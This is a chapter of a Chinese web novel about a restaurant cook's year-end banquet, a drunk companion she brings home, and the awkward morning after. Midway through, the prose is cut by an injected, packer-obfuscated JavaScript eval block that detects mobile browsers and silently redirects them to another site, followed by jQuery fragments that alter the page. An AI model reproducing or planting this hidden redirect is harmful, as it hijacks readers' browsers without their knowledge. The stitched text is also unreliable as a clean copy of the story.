锅上的羊汤煨得差不多,周瑶理拿走事先切好的萝卜块倒入。
盖子一开,后厨各个角落都被羊肉味占据。经过处理的羊肉毫无杂味,只留下油脂奶香。
小鱼从刚开始就惦记她这锅羊汤,这会儿杵在边上翘首以盼。
“萝卜切得好奇怪啊。”她是跑堂的,对厨房事一窍不通。
周瑶理守在炭火炉前紧盯砂锅,分出点心思回她,“这叫滚刀切,会更入味儿些。”
万户炊烟起,饭馆的大家已经落座等开席。
最后一锅萝卜羊汤上桌,大堂瞬间热闹起来。
“这是我做的煮千丝和清炖狮子头。”
“我做的是锅烧笋和烧麦。”
各自介绍自己的拿手好菜,一顿收业宴吃出满汉全席的味道。
周瑶理最后掀开砂锅盖子,“我就只做一道,萝卜羊汤!”
菜色全上齐,众人酒杯都斟满酒,全部望向李元玉,期待她说两句。
见状她端着酒杯清嗓,“咱们饭馆能有今日全靠各位相互扶持,我敬大伙儿一杯!”
掌柜的豪爽,仰头把酒干掉,倒扣不落一滴。
其余人纷纷举杯一饮而尽。
周瑶理和林嘉行相邻坐,举杯时还不忘和他捧杯。
俩人相视默契对笑,“早日回家。”
转头发现袁敬文也看向她们,周瑶理举到嘴边的酒杯掉转方向。
两杯对碰,在交错的谈话声中留下细微的脆响声。
“祝袁郎君,高中状元。”她听东家说过,袁敬文决定参加明年的春考。
豪爽饮尽,她轻晃空酒杯朝对方挑眉。
袁敬文没想到周瑶理会注意到自己,局促端起酒杯,“也祝周姑娘一举夺得大赛甲等。”
醇厚清香的青梅酒下肚,周瑶理被辣劲儿打得措手不及。
但是辣感过后反起的梅子清香占上风,舌尖回甘。
不愧是最佳风味期的青梅酒。
被辣酒袭击过的胃部急需一点能镇得住压的压石,萝卜羊汤便是首选。
小鱼算得上是店里的小孩,也是最贪吃的一个。
刚刚看大家杯子里都斟满了她也不甘示弱,背着李元玉也给自己倒了点。
结果被辣到龇牙咧嘴,连手脚都不知道该放哪儿。好在面前是碗羊肉汤,顾不得烫嘴就捧起来猛嘬一口。
总算舒坦了。
文火慢煨一个时辰的羊汤此时散发着浓郁油脂香,入口又是萝卜的清甜。
肋排更是烀得软烂,只需轻轻夹起,骨头便能从中脱落。
入嘴即是软嫩油香,提前煸煎过的缘故,捎带的油边丁点儿都不腻。再配上块清甜萝卜块,看着满桌的丰盛又可以继续大快朵颐。
“要是能每天喝一碗羊肉汤,此身无憾了。”小鱼低下头又猛灌一口感慨。
周瑶理吐槽她若是天天喝,得嘌呤过高了。
“什么叫嘌呤?”李继荣平时不好学,出了学院啥都想学。
她说不好怎么解释,最后反倒问起李小郎君的功课来。
李继荣巴不得脚上装风火轮逃离是非之地,抱着碗撇嘴,他以后再也不随便开口了。
“小周,我跟你喝一杯!”李元玉举着酒杯走过来,一屁股把啃羊排的李继荣挤走。
这才刚开宴她就喝上头了,等结束不知道得醉成什么样。
周瑶理向来来者不拒,豪气端起酒杯对碰,“走一个!”
上大学时她舍友吐槽她平时看着像个受气包,一碰上酒不知道的还以为是哪来的大姐大。
三两杯下肚,东家开始拉住她回忆往事。
从少小学堂逃课气夫子到成家立业开饭馆,一把辛酸泪。
“小周,我没你不行。”说罢,强硬把酒杯塞周瑶理手里。
俩人喝完一坛青梅酒,李元玉又指使夫郎再去取坛新的来。
林嘉行坐在边上看她俩满杯酒杯杯下肚,心都慌了。
再喝下去不得醉成烂泥。
“瑶娘,别喝了。”他在底下默默扯住周瑶理的衣袖,低着嗓子开口。
没想到她喝这么多居然还能面不改色,转头在他手上轻拍安抚,“放心吧,姐们儿练过的。”
“哎哟,小周海量。”李元玉已经醉得不知西东,对着眼前的空碗眯眼笑。
周瑶理无奈,“掌柜的,我在这呢。”
林嘉行拗不过,只要一劝就被周瑶理拍开。
最后郁闷坐在一旁喝茶。
自娱自乐没多久,对面的袁敬文不知道什么时候把自己灌醉的,举起酒壶不分青红皂白就往他的茶杯里倒,说什么都要同他拼酒。
最终除那几个不会喝酒的小孩外,只剩下周瑶理尚且清醒。
林嘉行已经醉到不知方休,把桌上的排骨当成袁敬文猛戳。
“让你惦记别人家姑娘。”戳死你!
“时间不早了,我们就先回去罢。”周瑶理拽起林嘉行塞给来接人的文竹,转头告别。
早上出门前和文竹交代过,宵禁前三刻来饭馆接人。
李元玉死拽她不让走,非说今晚就要摆桌和她拜姐妹。周瑶理好不容易披上的斗篷被她扯得又松了绑带。
“我求你了姐,真求你了。”再晚点她就赶不回去了。
最后还有些微清醒的李家夫郎和小鱼她们合理将李元玉的爪子掰开,放周瑶理一条生路。
她抓紧推着林嘉行上车,好似身后有洪水猛兽。
跨上马车帘子还没放下就被袁敬文喊住,周瑶理歪头询问。
许是今晚有酒壮胆,袁敬文鼓起勇气,“瑶,周姑娘新春吉庆。”
还是没有资格喊出那句瑶娘啊。
“袁夫子也是,新春嘉平。”周瑶理礼貌回应。
此时林嘉行像是突然清醒般,隔着帘子喊她。
“瑶理,我难受。”
闻言周瑶理快速和袁敬文道别,随后让文竹赶紧驾马回家。
她是真怕林嘉行吐车上啊!
林嘉行没骗她,是真难受。
周瑶理钻进车舆就看他头靠在车壁,脸颊泛红眉头紧锁。
偏偏回去的路不稳,路过大坑时突然大颠簸,林嘉行直接砸向车壁。
这下好了,额头也红彤彤的。
服了。
“我心地善良,大发慈悲把肩膀借你。”周瑶理坐直身子,贡献出自己的左侧肩膀。
安静片刻,肩头压上重量。
林嘉行倒在她肩上,鼻尖划过脖子。
是喝了酒的原因吗?体温升高,就连鼻息都灼人。
银春老早等在门口,瞧见远处的马车逼近,连忙上前。
意想到醉酒的周瑶理居然清醒得不能再清醒,反而是林郎君醉成烂泥。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015737|192238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
好在还有意识能自己走路。
“快快,把他弄回去。”周瑶理费劲吧啦把人挪下马车站稳,急忙喊银春他们搭把手。
把林嘉行放倒在床,周瑶理将其他人都赶回去睡觉。即使是文竹满口礼数不合,也撼动不了她的决定。
“放心吧,我不会把他怎样的。”周瑶理尝试给他喂颗定心丸。
好言相劝把人都赶走,关上门她才得以松气。
可能刚刚出太多力,这时候酒劲猛地冲上脑门。
周瑶理虚浮脚步扶着墙往里走,好在房内除了床榻之外另摆张可小息的睡榻。
坐下时她告诫自己,只是休息会回下血。
屁股刚碰到座榻就躺倒了,甚至还用斗篷将自己裹紧。
瞌眼睡得一塌糊涂。
第二天撑住脑袋从垫子上坐起来,周瑶理忍不住吐槽。
明明回现代就立马煮了醒酒汤喝,怎么来到雍都头还是那么痛。
“喝酒误事。”
边揉额头边往外走,抬头猝不及防和同样捂着脑袋从帐幔里探出头来的林嘉行双目相对。
周瑶理大喊,你怎么在这?
不对,不是熟悉的布局。
她又问:我怎么在这?
林嘉行一早起来还没缓过神,他也想问为什么额头会那么痛。
林嘉行哑着嗓子,“你。”
刚说出个字。
周瑶理惊恐:“我没有对你图谋不轨!”
手摸到门后立马推开跑出去,门外还在争吵的俩人此时也停下来,银春直接一把将文竹推开跑上前。
早上在周瑶理房间内找不到人把她吓坏了。
平时这个点周姑娘已经开始哼唧不想起床上班,今日房间内寂静无声。
银春在门上敲好几声都没人应,急得推门进去。
结果屋内空无一人。
想到昨夜是周瑶理在照顾林郎君,她又转头往另一边去。正巧遇上文竹守在门外,进也不是退也不是。
最后俩人一起等在外头。
她担心昨晚俩人会不会出什么事儿,林郎君还喝醉了。
文竹一听这是在中伤我家郎君,“我家郎君是正人君子,绝不会干那龌龊事!”
银春不服,“我家姑娘还容貌昳丽赛神仙呢!”
二人谁也不服气谁的,在外头吵得不可开交。直到门被推开才堪堪停下。
“姑娘昨夜有没有睡好?头痛不痛?厨房煮了醒酒汤现在要喝吗?”银春跑到跟前一口气说完。
周瑶理本来就头痛,现下更痛了。
不过还有更重要的事。
“我要沐浴。”她刚刚闻到自己浑身酒味,嫌弃的不行。
“诶!我这就烧水去。”说完,银春一溜烟儿地跑远。
周瑶理扶住门框缓缓,方才提步离开。
刚走两步又转头回来。
林嘉行看着她急冲冲往自己来,不明就里地歪头。
周瑶理怒气冲冲往回走,在林嘉行面前刹住。
抬头叉腰,“你以后不许喝酒了。”
三杯倒的酒量,是怎么敢和别人拼酒的。
林嘉行尴尬挠头,点头入蒜。
等人离开后文竹指着他额头上发红的地方,小声提醒,“我去煮颗鸡蛋给郎君热敷一下吧。”
看起来还有点肿的样子。